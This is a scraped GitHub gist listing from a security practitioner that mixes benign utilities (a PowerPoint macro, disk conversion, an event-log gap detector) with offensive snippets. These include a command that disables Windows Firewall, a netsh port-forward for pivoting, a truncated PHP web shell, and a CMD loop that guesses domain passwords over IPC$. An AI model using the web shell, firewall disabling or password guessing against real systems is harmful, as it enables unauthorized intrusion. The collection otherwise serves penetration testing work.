Skip to content

Instantly share code, notes, and snippets.

View joswr1ght's full-sized avatar

Joshua Wright joswr1ght

View GitHub Profile
@joswr1ght
joswr1ght / pptx-replacenotesCRCR.vbs
Created June 25, 2016 13:21
PowerPoint macro to replace double empty paragraph markers
' Replace all double paragraph carriage returns in PowerPoint Notes.
' Also handles multiple Notes pages per slide.
Sub NotesFix()
Dim osld As Slide
Dim oshp As Shape
Dim strNotes As String
For Each osld In ActivePresentation.Slides
For Each oshp In osld.NotesPage.Shapes
If oshp.HasTextFrame Then
If oshp.TextFrame.HasText Then
@joswr1ght
joswr1ght / winfwdisable.cmd
Created July 26, 2016 14:36
Disable Windows Firewall via netsh
netsh advfirewall set allprofiles state off
@joswr1ght
joswr1ght / netshportforward.cmd
Created August 31, 2016 20:00
Netsh Port Forward
netsh interface portproxy add v4tov4 listenport=8001 listenaddress=192.168.0.10 connectport=80 connectaddress=192.168.0.10
public static boolean checkGooglePlayStore(Context context) {
String installerPackageName = context.getPackageManager().getInstallerPackageName(context.getPackageName());
return installerPackageName != null && installerPackageName.startsWith(" com.google.android");
}
@joswr1ght
joswr1ght / vboxmanage-convert-vhd.sh
Created February 10, 2017 17:48
Convert OVA to VHD
VBoxManage clonehd --format vhd "disk1.vmdk" "disk1.vhd"
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@joswr1ght
joswr1ght / cleanup-turnkey.sh
Created January 25, 2018 18:39
Turnkey Linux Cleanup
apt-get remove tklbam confconsole shellinabox postfix mysql\* monit webmin vim-tiny
rm /etc/init.d/confconsole
apt-get install vim
@joswr1ght
joswr1ght / guessdomainpass.cmd
Last active August 11, 2022 18:11
Windows CMD Loop to Guess Passwords - edit SERVERIP in both places, using your target server IP. Set the DOMAIN value to your target domain.
@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\SERVERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\SERVERIP\IPC$ > NUL
@joswr1ght
joswr1ght / evtxResourceIDGaps.py
Last active September 24, 2024 03:31
Read dump_evtx XML output, identify EventRecordID gaps possibly indicating deleted logging records
from xml.etree import ElementTree
import sys
first=True
eventrecordid=None
lasttime=None
latesttime=None
if (len(sys.argv) != 2):
print("Read from the dump_evtx XML output, identifying gaps in EventRecordID values")
@joswr1ght
joswr1ght / msfwrapper-stop-warn.sh
Created May 3, 2019 18:46
Stop warning that the Metasploit repository is more than 2 weeks old
sed -i 's/find \$FRAMEWORK\/\$cmd -mmin +20160/true/' /path/to/msfwrapper.erb'